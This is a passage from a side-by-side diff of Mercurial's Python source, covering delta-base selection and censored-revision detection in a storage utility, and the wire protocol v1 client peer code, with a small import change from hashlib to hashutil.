377 # Set of revs available to delta against.
377 # Set of revs available to delta against.
378 available = set()
378 available = set()
379
379
380 for rev in revs:
380 for rev in revs:
381 if rev == nullrev:
381 if rev == nullrev:
382 continue
382 continue
383
383
384 node = fnode(rev)
384 node = fnode(rev)
385 p1rev, p2rev = store.parentrevs(rev)
385 p1rev, p2rev = store.parentrevs(rev)
386
386
387 if deltaparentfn:
387 if deltaparentfn:
388 deltaparentrev = deltaparentfn(rev)
388 deltaparentrev = deltaparentfn(rev)
389 else:
389 else:
390 deltaparentrev = nullrev
390 deltaparentrev = nullrev
391
391
392 # Forced delta against previous mode.
392 # Forced delta against previous mode.
393 if deltamode == repository.CG_DELTAMODE_PREV:
393 if deltamode == repository.CG_DELTAMODE_PREV:
394 baserev = prevrev
394 baserev = prevrev
395
395
396 # We're instructed to send fulltext. Honor that.
396 # We're instructed to send fulltext. Honor that.
397 elif deltamode == repository.CG_DELTAMODE_FULL:
397 elif deltamode == repository.CG_DELTAMODE_FULL:
398 baserev = nullrev
398 baserev = nullrev
399 # We're instructed to use p1. Honor that
399 # We're instructed to use p1. Honor that
400 elif deltamode == repository.CG_DELTAMODE_P1:
400 elif deltamode == repository.CG_DELTAMODE_P1:
401 baserev = p1rev
401 baserev = p1rev
402
402
403 # There is a delta in storage. We try to use that because it
403 # There is a delta in storage. We try to use that because it
404 # amounts to effectively copying data from storage and is
404 # amounts to effectively copying data from storage and is
405 # therefore the fastest.
405 # therefore the fastest.
406 elif deltaparentrev != nullrev:
406 elif deltaparentrev != nullrev:
407 # Base revision was already emitted in this group. We can
407 # Base revision was already emitted in this group. We can
408 # always safely use the delta.
408 # always safely use the delta.
409 if deltaparentrev in available:
409 if deltaparentrev in available:
410 baserev = deltaparentrev
410 baserev = deltaparentrev
411
411
412 # Base revision is a parent that hasn't been emitted already.
412 # Base revision is a parent that hasn't been emitted already.
413 # Use it if we can assume the receiver has the parent revision.
413 # Use it if we can assume the receiver has the parent revision.
414 elif assumehaveparentrevisions and deltaparentrev in (p1rev, p2rev):
414 elif assumehaveparentrevisions and deltaparentrev in (p1rev, p2rev):
415 baserev = deltaparentrev
415 baserev = deltaparentrev
416
416
417 # No guarantee the receiver has the delta parent. Send delta
417 # No guarantee the receiver has the delta parent. Send delta
418 # against last revision (if possible), which in the common case
418 # against last revision (if possible), which in the common case
419 # should be similar enough to this revision that the delta is
419 # should be similar enough to this revision that the delta is
420 # reasonable.
420 # reasonable.
421 elif prevrev is not None:
421 elif prevrev is not None:
422 baserev = prevrev
422 baserev = prevrev
423 else:
423 else:
424 baserev = nullrev
424 baserev = nullrev
425
425
426 # Storage has a fulltext revision.
426 # Storage has a fulltext revision.
427
427
428 # Let's use the previous revision, which is as good a guess as any.
428 # Let's use the previous revision, which is as good a guess as any.
429 # There is definitely room to improve this logic.
429 # There is definitely room to improve this logic.
430 elif prevrev is not None:
430 elif prevrev is not None:
431 baserev = prevrev
431 baserev = prevrev
432 else:
432 else:
433 baserev = nullrev
433 baserev = nullrev
434
434
435 # But we can't actually use our chosen delta base for whatever
435 # But we can't actually use our chosen delta base for whatever
436 # reason. Reset to fulltext.
436 # reason. Reset to fulltext.
437 if baserev != nullrev and (candeltafn and not candeltafn(baserev, rev)):
437 if baserev != nullrev and (candeltafn and not candeltafn(baserev, rev)):
438 baserev = nullrev
438 baserev = nullrev
439
439
440 revision = None
440 revision = None
441 delta = None
441 delta = None
442 baserevisionsize = None
442 baserevisionsize = None
443
443
444 if revisiondata:
444 if revisiondata:
445 if store.iscensored(baserev) or store.iscensored(rev):
445 if store.iscensored(baserev) or store.iscensored(rev):
446 try:
446 try:
447 revision = store.rawdata(node)
447 revision = store.rawdata(node)
448 except error.CensoredNodeError as e:
448 except error.CensoredNodeError as e:
449 revision = e.tombstone
449 revision = e.tombstone
450
450
451 if baserev != nullrev:
451 if baserev != nullrev:
452 if rawsizefn:
452 if rawsizefn:
453 baserevisionsize = rawsizefn(baserev)
453 baserevisionsize = rawsizefn(baserev)
454 else:
454 else:
455 baserevisionsize = len(store.rawdata(baserev))
455 baserevisionsize = len(store.rawdata(baserev))
456
456
457 elif (
457 elif (
458 baserev == nullrev and deltamode != repository.CG_DELTAMODE_PREV
458 baserev == nullrev and deltamode != repository.CG_DELTAMODE_PREV
459 ):
459 ):
460 revision = store.rawdata(node)
460 revision = store.rawdata(node)
461 available.add(rev)
461 available.add(rev)
462 else:
462 else:
463 if revdifffn:
463 if revdifffn:
464 delta = revdifffn(baserev, rev)
464 delta = revdifffn(baserev, rev)
465 else:
465 else:
466 delta = mdiff.textdiff(
466 delta = mdiff.textdiff(
467 store.rawdata(baserev), store.rawdata(rev)
467 store.rawdata(baserev), store.rawdata(rev)
468 )
468 )
469
469
470 available.add(rev)
470 available.add(rev)
471
471
472 yield resultcls(
472 yield resultcls(
473 node=node,
473 node=node,
474 p1node=fnode(p1rev),
474 p1node=fnode(p1rev),
475 p2node=fnode(p2rev),
475 p2node=fnode(p2rev),
476 basenode=fnode(baserev),
476 basenode=fnode(baserev),
477 flags=flagsfn(rev) if flagsfn else 0,
477 flags=flagsfn(rev) if flagsfn else 0,
478 baserevisionsize=baserevisionsize,
478 baserevisionsize=baserevisionsize,
479 revision=revision,
479 revision=revision,
480 delta=delta,
480 delta=delta,
481 )
481 )
482
482
483 prevrev = rev
483 prevrev = rev
484
484
485
485
486 def deltaiscensored(delta, baserev, baselenfn):
486 def deltaiscensored(delta, baserev, baselenfn):
487 """Determine if a delta represents censored revision data.
487 """Determine if a delta represents censored revision data.
488
488
489 ``baserev`` is the base revision this delta is encoded against.
489 ``baserev`` is the base revision this delta is encoded against.
490 ``baselenfn`` is a callable receiving a revision number that resolves the
490 ``baselenfn`` is a callable receiving a revision number that resolves the
491 length of the revision fulltext.
491 length of the revision fulltext.
492
492
493 Returns a bool indicating if the result of the delta represents a censored
493 Returns a bool indicating if the result of the delta represents a censored
494 revision.
494 revision.
495 """
495 """
496 # Fragile heuristic: unless new file meta keys are added alphabetically
496 # Fragile heuristic: unless new file meta keys are added alphabetically
497 # preceding "censored", all censored revisions are prefixed by
497 # preceding "censored", all censored revisions are prefixed by
498 # "\1\ncensored:". A delta producing such a censored revision must be a
498 # "\1\ncensored:". A delta producing such a censored revision must be a
499 # full-replacement delta, so we inspect the first and only patch in the
499 # full-replacement delta, so we inspect the first and only patch in the
500 # delta for this prefix.
500 # delta for this prefix.
501 hlen = struct.calcsize(b">lll")
501 hlen = struct.calcsize(b">lll")
502 if len(delta) <= hlen:
502 if len(delta) <= hlen:
503 return False
503 return False
504
504
505 oldlen = baselenfn(baserev)
505 oldlen = baselenfn(baserev)
506 newlen = len(delta) - hlen
506 newlen = len(delta) - hlen
507 if delta[:hlen] != mdiff.replacediffheader(oldlen, newlen):
507 if delta[:hlen] != mdiff.replacediffheader(oldlen, newlen):
508 return False
508 return False
509
509
510 add = b"\1\ncensored:"
510 add = b"\1\ncensored:"
511 addlen = len(add)
511 addlen = len(add)
512 return newlen >= addlen and delta[hlen : hlen + addlen] == add
512 return newlen >= addlen and delta[hlen : hlen + addlen] == add
@@ -1,660 +1,660
1 # wireprotov1peer.py - Client-side functionality for wire protocol version 1.
1 # wireprotov1peer.py - Client-side functionality for wire protocol version 1.
2 #
2 #
3 # Copyright 2005-2010 Matt Mackall <mpm@selenic.com>
3 # Copyright 2005-2010 Matt Mackall <mpm@selenic.com>
4 #
4 #
5 # This software may be used and distributed according to the terms of the
5 # This software may be used and distributed according to the terms of the
6 # GNU General Public License version 2 or any later version.
6 # GNU General Public License version 2 or any later version.
7
7
8 from __future__ import absolute_import
8 from __future__ import absolute_import
9
9
10 import hashlib
11 import sys
10 import sys
12 import weakref
11 import weakref
13
12
14 from .i18n import _
13 from .i18n import _
15 from .node import bin
14 from .node import bin
16 from .pycompat import (
15 from .pycompat import (
17 getattr,
16 getattr,
18 setattr,
17 setattr,
19 )
18 )
20 from . import (
19 from . import (
21 bundle2,
20 bundle2,
22 changegroup as changegroupmod,
21 changegroup as changegroupmod,
23 encoding,
22 encoding,
24 error,
23 error,
25 pushkey as pushkeymod,
24 pushkey as pushkeymod,
26 pycompat,
25 pycompat,
27 util,
26 util,
28 wireprototypes,
27 wireprototypes,
29 )
28 )
30 from .interfaces import (
29 from .interfaces import (
31 repository,
30 repository,
32 util as interfaceutil,
31 util as interfaceutil,
33 )
32 )
33 from .utils import hashutil
34
34
35 urlreq = util.urlreq
35 urlreq = util.urlreq
36
36
37
37
38 def batchable(f):
38 def batchable(f):
39 '''annotation for batchable methods
39 '''annotation for batchable methods
40
40
41 Such methods must implement a coroutine as follows:
41 Such methods must implement a coroutine as follows:
42
42
43 @batchable
43 @batchable
44 def sample(self, one, two=None):
44 def sample(self, one, two=None):
45 # Build list of encoded arguments suitable for your wire protocol:
45 # Build list of encoded arguments suitable for your wire protocol:
46 encargs = [('one', encode(one),), ('two', encode(two),)]
46 encargs = [('one', encode(one),), ('two', encode(two),)]
47 # Create future for injection of encoded result:
47 # Create future for injection of encoded result:
48 encresref = future()
48 encresref = future()
49 # Return encoded arguments and future:
49 # Return encoded arguments and future:
50 yield encargs, encresref
50 yield encargs, encresref
51 # Assuming the future to be filled with the result from the batched
51 # Assuming the future to be filled with the result from the batched
52 # request now. Decode it:
52 # request now. Decode it:
53 yield decode(encresref.value)
53 yield decode(encresref.value)
54
54
55 The decorator returns a function which wraps this coroutine as a plain
55 The decorator returns a function which wraps this coroutine as a plain
56 method, but adds the original method as an attribute called "batchable",
56 method, but adds the original method as an attribute called "batchable",
57 which is used by remotebatch to split the call into separate encoding and
57 which is used by remotebatch to split the call into separate encoding and
58 decoding phases.
58 decoding phases.
59 '''
59 '''
60
60
61 def plain(*args, **opts):
61 def plain(*args, **opts):
62 batchable = f(*args, **opts)
62 batchable = f(*args, **opts)
63 encargsorres, encresref = next(batchable)
63 encargsorres, encresref = next(batchable)
64 if not encresref:
64 if not encresref:
65 return encargsorres # a local result in this case
65 return encargsorres # a local result in this case
66 self = args[0]
66 self = args[0]
67 cmd = pycompat.bytesurl(f.__name__) # ensure cmd is ascii bytestr
67 cmd = pycompat.bytesurl(f.__name__) # ensure cmd is ascii bytestr
68 encresref.set(self._submitone(cmd, encargsorres))
68 encresref.set(self._submitone(cmd, encargsorres))
69 return next(batchable)
69 return next(batchable)
70
70
71 setattr(plain, 'batchable', f)
71 setattr(plain, 'batchable', f)
72 setattr(plain, '__name__', f.__name__)
72 setattr(plain, '__name__', f.__name__)
73 return plain
73 return plain
74
74
75
75
76 class future(object):
76 class future(object):
77 '''placeholder for a value to be set later'''
77 '''placeholder for a value to be set later'''
78
78
79 def set(self, value):
79 def set(self, value):
80 if util.safehasattr(self, b'value'):
80 if util.safehasattr(self, b'value'):
81 raise error.RepoError(b"future is already set")
81 raise error.RepoError(b"future is already set")
82 self.value = value
82 self.value = value
83
83
84
84
85 def encodebatchcmds(req):
85 def encodebatchcmds(req):
86 """Return a ``cmds`` argument value for the ``batch`` command."""
86 """Return a ``cmds`` argument value for the ``batch`` command."""
87 escapearg = wireprototypes.escapebatcharg
87 escapearg = wireprototypes.escapebatcharg
88
88
89 cmds = []
89 cmds = []
90 for op, argsdict in req:
90 for op, argsdict in req:
91 # Old servers didn't properly unescape argument names. So prevent
91 # Old servers didn't properly unescape argument names. So prevent
92 # the sending of argument names that may not be decoded properly by
92 # the sending of argument names that may not be decoded properly by
93 # servers.
93 # servers.
94 assert all(escapearg(k) == k for k in argsdict)
94 assert all(escapearg(k) == k for k in argsdict)
95
95
96 args = b','.join(
96 args = b','.join(
97 b'%s=%s' % (escapearg(k), escapearg(v))
97 b'%s=%s' % (escapearg(k), escapearg(v))
98 for k, v in pycompat.iteritems(argsdict)
98 for k, v in pycompat.iteritems(argsdict)
99 )
99 )
100 cmds.append(b'%s %s' % (op, args))
100 cmds.append(b'%s %s' % (op, args))
101
101
102 return b';'.join(cmds)
102 return b';'.join(cmds)
103
103
104
104
105 class unsentfuture(pycompat.futures.Future):
105 class unsentfuture(pycompat.futures.Future):
106 """A Future variation to represent an unsent command.
106 """A Future variation to represent an unsent command.
107
107
108 Because we buffer commands and don't submit them immediately, calling
108 Because we buffer commands and don't submit them immediately, calling
109 ``result()`` on an unsent future could deadlock. Futures for buffered
109 ``result()`` on an unsent future could deadlock. Futures for buffered
110 commands are represented by this type, which wraps ``result()`` to
110 commands are represented by this type, which wraps ``result()`` to
111 call ``sendcommands()``.
111 call ``sendcommands()``.
112 """
112 """
113
113
114 def result(self, timeout=None):
114 def result(self, timeout=None):
115 if self.done():
115 if self.done():
116 return pycompat.futures.Future.result(self, timeout)
116 return pycompat.futures.Future.result(self, timeout)
117
117
118 self._peerexecutor.sendcommands()
118 self._peerexecutor.sendcommands()
119
119
120 # This looks like it will infinitely recurse. However,
120 # This looks like it will infinitely recurse. However,
121 # sendcommands() should modify __class__. This call serves as a check
121 # sendcommands() should modify __class__. This call serves as a check
122 # on that.
122 # on that.
123 return self.result(timeout)
123 return self.result(timeout)
124
124
125
125
126 @interfaceutil.implementer(repository.ipeercommandexecutor)
126 @interfaceutil.implementer(repository.ipeercommandexecutor)
127 class peerexecutor(object):
127 class peerexecutor(object):
128 def __init__(self, peer):
128 def __init__(self, peer):
129 self._peer = peer
129 self._peer = peer
130 self._sent = False
130 self._sent = False
131 self._closed = False
131 self._closed = False
132 self._calls = []
132 self._calls = []
133 self._futures = weakref.WeakSet()
133 self._futures = weakref.WeakSet()
134 self._responseexecutor = None
134 self._responseexecutor = None
135 self._responsef = None
135 self._responsef = None
136
136
137 def __enter__(self):
137 def __enter__(self):
138 return self
138 return self
139
139
140 def __exit__(self, exctype, excvalee, exctb):
140 def __exit__(self, exctype, excvalee, exctb):
141 self.close()
141 self.close()
142
142
143 def callcommand(self, command, args):
143 def callcommand(self, command, args):
144 if self._sent:
144 if self._sent:
145 raise error.ProgrammingError(
145 raise error.ProgrammingError(
146 b'callcommand() cannot be used after commands are sent'
146 b'callcommand() cannot be used after commands are sent'
147 )
147 )
148
148
149 if self._closed:
149 if self._closed:
150 raise error.ProgrammingError(
150 raise error.ProgrammingError(
151 b'callcommand() cannot be used after close()'
151 b'callcommand() cannot be used after close()'
152 )
152 )
153
153
154 # Commands are dispatched through methods on the peer.
154 # Commands are dispatched through methods on the peer.
155 fn = getattr(self._peer, pycompat.sysstr(command), None)
155 fn = getattr(self._peer, pycompat.sysstr(command), None)
156
156
157 if not fn:
157 if not fn:
158 raise error.ProgrammingError(
158 raise error.ProgrammingError(
159 b'cannot call command %s: method of same name not available '
159 b'cannot call command %s: method of same name not available '
160 b'on peer' % command
160 b'on peer' % command
161 )
161 )
162
162
163 # Commands are either batchable or they aren't. If a command
163 # Commands are either batchable or they aren't. If a command
164 # isn't batchable, we send it immediately because the executor
164 # isn't batchable, we send it immediately because the executor
165 # can no longer accept new commands after a non-batchable command.
165 # can no longer accept new commands after a non-batchable command.
166 # If a command is batchable, we queue it for later. But we have
166 # If a command is batchable, we queue it for later. But we have
167 # to account for the case of a non-batchable command arriving after
167 # to account for the case of a non-batchable command arriving after
168 # a batchable one and refuse to service it.
168 # a batchable one and refuse to service it.
169
169
170 def addcall():
170 def addcall():
171 f = pycompat.futures.Future()
171 f = pycompat.futures.Future()
172 self._futures.add(f)
172 self._futures.add(f)
173 self._calls.append((command, args, fn, f))
173 self._calls.append((command, args, fn, f))
174 return f
174 return f
175
175
176 if getattr(fn, 'batchable', False):
176 if getattr(fn, 'batchable', False):
177 f = addcall()
177 f = addcall()
178
178
179 # But since we don't issue it immediately, we wrap its result()
179 # But since we don't issue it immediately, we wrap its result()
180 # to trigger sending so we avoid deadlocks.
180 # to trigger sending so we avoid deadlocks.
181 f.__class__ = unsentfuture
181 f.__class__ = unsentfuture
182 f._peerexecutor = self
182 f._peerexecutor = self
183 else:
183 else:
184 if self._calls:
184 if self._calls:
185 raise error.ProgrammingError(
185 raise error.ProgrammingError(
186 b'%s is not batchable and cannot be called on a command '
186 b'%s is not batchable and cannot be called on a command '
187 b'executor along with other commands' % command
187 b'executor along with other commands' % command
188 )
188 )
189
189
190 f = addcall()
190 f = addcall()
191
191
192 # Non-batchable commands can never coexist with another command
192 # Non-batchable commands can never coexist with another command
193 # in this executor. So send the command immediately.
193 # in this executor. So send the command immediately.
194 self.sendcommands()
194 self.sendcommands()
195
195
196 return f
196 return f
197
197
198 def sendcommands(self):
198 def sendcommands(self):
199 if self._sent:
199 if self._sent:
200 return
200 return
201
201
202 if not self._calls:
202 if not self._calls:
203 return
203 return
204
204
205 self._sent = True
205 self._sent = True
206
206
207 # Unhack any future types so caller seens a clean type and to break
207 # Unhack any future types so caller seens a clean type and to break
208 # cycle between us and futures.
208 # cycle between us and futures.
209 for f in self._futures:
209 for f in self._futures:
210 if isinstance(f, unsentfuture):
210 if isinstance(f, unsentfuture):
211 f.__class__ = pycompat.futures.Future
211 f.__class__ = pycompat.futures.Future
212 f._peerexecutor = None
212 f._peerexecutor = None
213
213
214 calls = self._calls
214 calls = self._calls
215 # Mainly to destroy references to futures.
215 # Mainly to destroy references to futures.
216 self._calls = None
216 self._calls = None
217
217
218 # Simple case of a single command. We call it synchronously.
218 # Simple case of a single command. We call it synchronously.
219 if len(calls) == 1:
219 if len(calls) == 1:
220 command, args, fn, f = calls[0]
220 command, args, fn, f = calls[0]
221
221
222 # Future was cancelled. Ignore it.
222 # Future was cancelled. Ignore it.
223 if not f.set_running_or_notify_cancel():
223 if not f.set_running_or_notify_cancel():
224 return
224 return
225
225
226 try:
226 try:
227 result = fn(**pycompat.strkwargs(args))
227 result = fn(**pycompat.strkwargs(args))
228 except Exception:
228 except Exception:
229 pycompat.future_set_exception_info(f, sys.exc_info()[1:])
229 pycompat.future_set_exception_info(f, sys.exc_info()[1:])
230 else:
230 else:
231 f.set_result(result)
231 f.set_result(result)
232
232
233 return
233 return
234
234
235 # Batch commands are a bit harder. First, we have to deal with the
235 # Batch commands are a bit harder. First, we have to deal with the
236 # @batchable coroutine. That's a bit annoying. Furthermore, we also
236 # @batchable coroutine. That's a bit annoying. Furthermore, we also
237 # need to preserve streaming. i.e. it should be possible for the
237 # need to preserve streaming. i.e. it should be possible for the
238 # futures to resolve as data is coming in off the wire without having
238 # futures to resolve as data is coming in off the wire without having
239 # to wait for the final byte of the final response. We do this by
239 # to wait for the final byte of the final response. We do this by
240 # spinning up a thread to read the responses.
240 # spinning up a thread to read the responses.
241
241
242 requests = []
242 requests = []
243 states = []
243 states = []
244
244
245 for command, args, fn, f in calls:
245 for command, args, fn, f in calls:
246 # Future was cancelled. Ignore it.
246 # Future was cancelled. Ignore it.
247 if not f.set_running_or_notify_cancel():
247 if not f.set_running_or_notify_cancel():
248 continue
248 continue
249
249
250 try:
250 try:
251 batchable = fn.batchable(
251 batchable = fn.batchable(
252 fn.__self__, **pycompat.strkwargs(args)
252 fn.__self__, **pycompat.strkwargs(args)
253 )
253 )
254 except Exception:
254 except Exception:
255 pycompat.future_set_exception_info(f, sys.exc_info()[1:])
255 pycompat.future_set_exception_info(f, sys.exc_info()[1:])
256 return
256 return
257
257
258 # Encoded arguments and future holding remote result.
258 # Encoded arguments and future holding remote result.
259 try:
259 try:
260 encargsorres, fremote = next(batchable)
260 encargsorres, fremote = next(batchable)
261 except Exception:
261 except Exception:
262 pycompat.future_set_exception_info(f, sys.exc_info()[1:])
262 pycompat.future_set_exception_info(f, sys.exc_info()[1:])
263 return
263 return
264
264
265 if not fremote:
265 if not fremote:
266 f.set_result(encargsorres)
266 f.set_result(encargsorres)
267 else:
267 else:
268 requests.append((command, encargsorres))
268 requests.append((command, encargsorres))
269 states.append((command, f, batchable, fremote))
269 states.append((command, f, batchable, fremote))
270
270
271 if not requests:
271 if not requests:
272 return
272 return
273
273
274 # This will emit responses in order they were executed.
274 # This will emit responses in order they were executed.
275 wireresults = self._peer._submitbatch(requests)
275 wireresults = self._peer._submitbatch(requests)
276
276
277 # The use of a thread pool executor here is a bit weird for something
277 # The use of a thread pool executor here is a bit weird for something
278 # that only spins up a single thread. However, thread management is
278 # that only spins up a single thread. However, thread management is
279 # hard and it is easy to encounter race conditions, deadlocks, etc.
279 # hard and it is easy to encounter race conditions, deadlocks, etc.
280 # concurrent.futures already solves these problems and its thread pool
280 # concurrent.futures already solves these problems and its thread pool
281 # executor has minimal overhead. So we use it.
281 # executor has minimal overhead. So we use it.
282 self._responseexecutor = pycompat.futures.ThreadPoolExecutor(1)
282 self._responseexecutor = pycompat.futures.ThreadPoolExecutor(1)
283 self._responsef = self._responseexecutor.submit(
283 self._responsef = self._responseexecutor.submit(
284 self._readbatchresponse, states, wireresults
284 self._readbatchresponse, states, wireresults
285 )
285 )
286
286
287 def close(self):
287 def close(self):
288 self.sendcommands()
288 self.sendcommands()
289
289
290 if self._closed:
290 if self._closed:
291 return
291 return
292
292
293 self._closed = True
293 self._closed = True
294
294
295 if not self._responsef:
295 if not self._responsef:
296 return
296 return
297
297
298 # We need to wait on our in-flight response and then shut down the
298 # We need to wait on our in-flight response and then shut down the
299 # executor once we have a result.
299 # executor once we have a result.
300 try:
300 try:
301 self._responsef.result()
301 self._responsef.result()
302 finally:
302 finally:
303 self._responseexecutor.shutdown(wait=True)
303 self._responseexecutor.shutdown(wait=True)
304 self._responsef = None
304 self._responsef = None
305 self._responseexecutor = None
305 self._responseexecutor = None
306
306
307 # If any of our futures are still in progress, mark them as
307 # If any of our futures are still in progress, mark them as
308 # errored. Otherwise a result() could wait indefinitely.
308 # errored. Otherwise a result() could wait indefinitely.
309 for f in self._futures:
309 for f in self._futures:
310 if not f.done():
310 if not f.done():
311 f.set_exception(
311 f.set_exception(
312 error.ResponseError(
312 error.ResponseError(
313 _(b'unfulfilled batch command response')
313 _(b'unfulfilled batch command response')
314 )
314 )
315 )
315 )
316
316
317 self._futures = None
317 self._futures = None
318
318
319 def _readbatchresponse(self, states, wireresults):
319 def _readbatchresponse(self, states, wireresults):
320 # Executes in a thread to read data off the wire.
320 # Executes in a thread to read data off the wire.
321
321
322 for command, f, batchable, fremote in states:
322 for command, f, batchable, fremote in states:
323 # Grab raw result off the wire and teach the internal future
323 # Grab raw result off the wire and teach the internal future
324 # about it.
324 # about it.
325 remoteresult = next(wireresults)
325 remoteresult = next(wireresults)
326 fremote.set(remoteresult)
326 fremote.set(remoteresult)
327
327
328 # And ask the coroutine to decode that value.
328 # And ask the coroutine to decode that value.
329 try:
329 try:
330 result = next(batchable)
330 result = next(batchable)
331 except Exception:
331 except Exception:
332 pycompat.future_set_exception_info(f, sys.exc_info()[1:])
332 pycompat.future_set_exception_info(f, sys.exc_info()[1:])
333 else:
333 else:
334 f.set_result(result)
334 f.set_result(result)
335
335
336
336
337 @interfaceutil.implementer(
337 @interfaceutil.implementer(
338 repository.ipeercommands, repository.ipeerlegacycommands
338 repository.ipeercommands, repository.ipeerlegacycommands
339 )
339 )
340 class wirepeer(repository.peer):
340 class wirepeer(repository.peer):
341 """Client-side interface for communicating with a peer repository.
341 """Client-side interface for communicating with a peer repository.
342
342
343 Methods commonly call wire protocol commands of the same name.
343 Methods commonly call wire protocol commands of the same name.
344
344
345 See also httppeer.py and sshpeer.py for protocol-specific
345 See also httppeer.py and sshpeer.py for protocol-specific
346 implementations of this interface.
346 implementations of this interface.
347 """
347 """
348
348
349 def commandexecutor(self):
349 def commandexecutor(self):
350 return peerexecutor(self)
350 return peerexecutor(self)
351
351
352 # Begin of ipeercommands interface.
352 # Begin of ipeercommands interface.
353
353
354 def clonebundles(self):
354 def clonebundles(self):
355 self.requirecap(b'clonebundles', _(b'clone bundles'))
355 self.requirecap(b'clonebundles', _(b'clone bundles'))
356 return self._call(b'clonebundles')
356 return self._call(b'clonebundles')
357
357
358 @batchable
358 @batchable
359 def lookup(self, key):
359 def lookup(self, key):
360 self.requirecap(b'lookup', _(b'look up remote revision'))
360 self.requirecap(b'lookup', _(b'look up remote revision'))
361 f = future()
361 f = future()
362 yield {b'key': encoding.fromlocal(key)}, f
362 yield {b'key': encoding.fromlocal(key)}, f
363 d = f.value
363 d = f.value
364 success, data = d[:-1].split(b" ", 1)
364 success, data = d[:-1].split(b" ", 1)
365 if int(success):
365 if int(success):
366 yield bin(data)
366 yield bin(data)
367 else:
367 else:
368 self._abort(error.RepoError(data))
368 self._abort(error.RepoError(data))
369
369
370 @batchable
370 @batchable
371 def heads(self):
371 def heads(self):
372 f = future()
372 f = future()
373 yield {}, f
373 yield {}, f
374 d = f.value
374 d = f.value
375 try:
375 try:
376 yield wireprototypes.decodelist(d[:-1])
376 yield wireprototypes.decodelist(d[:-1])
377 except ValueError:
377 except ValueError:
378 self._abort(error.ResponseError(_(b"unexpected response:"), d))
378 self._abort(error.ResponseError(_(b"unexpected response:"), d))
379
379
380 @batchable
380 @batchable
381 def known(self, nodes):
381 def known(self, nodes):
382 f = future()
382 f = future()
383 yield {b'nodes': wireprototypes.encodelist(nodes)}, f
383 yield {b'nodes': wireprototypes.encodelist(nodes)}, f
384 d = f.value
384 d = f.value
385 try:
385 try:
386 yield [bool(int(b)) for b in pycompat.iterbytestr(d)]
386 yield [bool(int(b)) for b in pycompat.iterbytestr(d)]
387 except ValueError:
387 except ValueError:
388 self._abort(error.ResponseError(_(b"unexpected response:"), d))
388 self._abort(error.ResponseError(_(b"unexpected response:"), d))
389
389
390 @batchable
390 @batchable
391 def branchmap(self):
391 def branchmap(self):
392 f = future()
392 f = future()
393 yield {}, f
393 yield {}, f
394 d = f.value
394 d = f.value
395 try:
395 try:
396 branchmap = {}
396 branchmap = {}
397 for branchpart in d.splitlines():
397 for branchpart in d.splitlines():
398 branchname, branchheads = branchpart.split(b' ', 1)
398 branchname, branchheads = branchpart.split(b' ', 1)
399 branchname = encoding.tolocal(urlreq.unquote(branchname))
399 branchname = encoding.tolocal(urlreq.unquote(branchname))
400 branchheads = wireprototypes.decodelist(branchheads)
400 branchheads = wireprototypes.decodelist(branchheads)
401 branchmap[branchname] = branchheads
401 branchmap[branchname] = branchheads
402 yield branchmap
402 yield branchmap
403 except TypeError:
403 except TypeError:
404 self._abort(error.ResponseError(_(b"unexpected response:"), d))
404 self._abort(error.ResponseError(_(b"unexpected response:"), d))
405
405
406 @batchable
406 @batchable
407 def listkeys(self, namespace):
407 def listkeys(self, namespace):
408 if not self.capable(b'pushkey'):
408 if not self.capable(b'pushkey'):
409 yield {}, None
409 yield {}, None
410 f = future()
410 f = future()
411 self.ui.debug(b'preparing listkeys for "%s"\n' % namespace)
411 self.ui.debug(b'preparing listkeys for "%s"\n' % namespace)
412 yield {b'namespace': encoding.fromlocal(namespace)}, f
412 yield {b'namespace': encoding.fromlocal(namespace)}, f
413 d = f.value
413 d = f.value
414 self.ui.debug(
414 self.ui.debug(
415 b'received listkey for "%s": %i bytes\n' % (namespace, len(d))
415 b'received listkey for "%s": %i bytes\n' % (namespace, len(d))
416 )
416 )
417 yield pushkeymod.decodekeys(d)
417 yield pushkeymod.decodekeys(d)
418
418
419 @batchable
419 @batchable
420 def pushkey(self, namespace, key, old, new):
420 def pushkey(self, namespace, key, old, new):
421 if not self.capable(b'pushkey'):
421 if not self.capable(b'pushkey'):
422 yield False, None
422 yield False, None
423 f = future()
423 f = future()
424 self.ui.debug(b'preparing pushkey for "%s:%s"\n' % (namespace, key))
424 self.ui.debug(b'preparing pushkey for "%s:%s"\n' % (namespace, key))
425 yield {
425 yield {
426 b'namespace': encoding.fromlocal(namespace),
426 b'namespace': encoding.fromlocal(namespace),
427 b'key': encoding.fromlocal(key),
427 b'key': encoding.fromlocal(key),
428 b'old': encoding.fromlocal(old),
428 b'old': encoding.fromlocal(old),
429 b'new': encoding.fromlocal(new),
429 b'new': encoding.fromlocal(new),
430 }, f
430 }, f
431 d = f.value
431 d = f.value
432 d, output = d.split(b'\n', 1)
432 d, output = d.split(b'\n', 1)
433 try:
433 try:
434 d = bool(int(d))
434 d = bool(int(d))
435 except ValueError:
435 except ValueError:
436 raise error.ResponseError(
436 raise error.ResponseError(
437 _(b'push failed (unexpected response):'), d
437 _(b'push failed (unexpected response):'), d
438 )
438 )
439 for l in output.splitlines(True):
439 for l in output.splitlines(True):
440 self.ui.status(_(b'remote: '), l)
440 self.ui.status(_(b'remote: '), l)
441 yield d
441 yield d
442
442
443 def stream_out(self):
443 def stream_out(self):
444 return self._callstream(b'stream_out')
444 return self._callstream(b'stream_out')
445
445
446 def getbundle(self, source, **kwargs):
446 def getbundle(self, source, **kwargs):
447 kwargs = pycompat.byteskwargs(kwargs)
447 kwargs = pycompat.byteskwargs(kwargs)
448 self.requirecap(b'getbundle', _(b'look up remote changes'))
448 self.requirecap(b'getbundle', _(b'look up remote changes'))
449 opts = {}
449 opts = {}
450 bundlecaps = kwargs.get(b'bundlecaps') or set()
450 bundlecaps = kwargs.get(b'bundlecaps') or set()
451 for key, value in pycompat.iteritems(kwargs):
451 for key, value in pycompat.iteritems(kwargs):
452 if value is None:
452 if value is None:
453 continue
453 continue
454 keytype = wireprototypes.GETBUNDLE_ARGUMENTS.get(key)
454 keytype = wireprototypes.GETBUNDLE_ARGUMENTS.get(key)
455 if keytype is None:
455 if keytype is None:
456 raise error.ProgrammingError(
456 raise error.ProgrammingError(
457 b'Unexpectedly None keytype for key %s' % key
457 b'Unexpectedly None keytype for key %s' % key
458 )
458 )
459 elif keytype == b'nodes':
459 elif keytype == b'nodes':
460 value = wireprototypes.encodelist(value)
460 value = wireprototypes.encodelist(value)
461 elif keytype == b'csv':
461 elif keytype == b'csv':
462 value = b','.join(value)
462 value = b','.join(value)
463 elif keytype == b'scsv':
463 elif keytype == b'scsv':
464 value = b','.join(sorted(value))
464 value = b','.join(sorted(value))
465 elif keytype == b'boolean':
465 elif keytype == b'boolean':
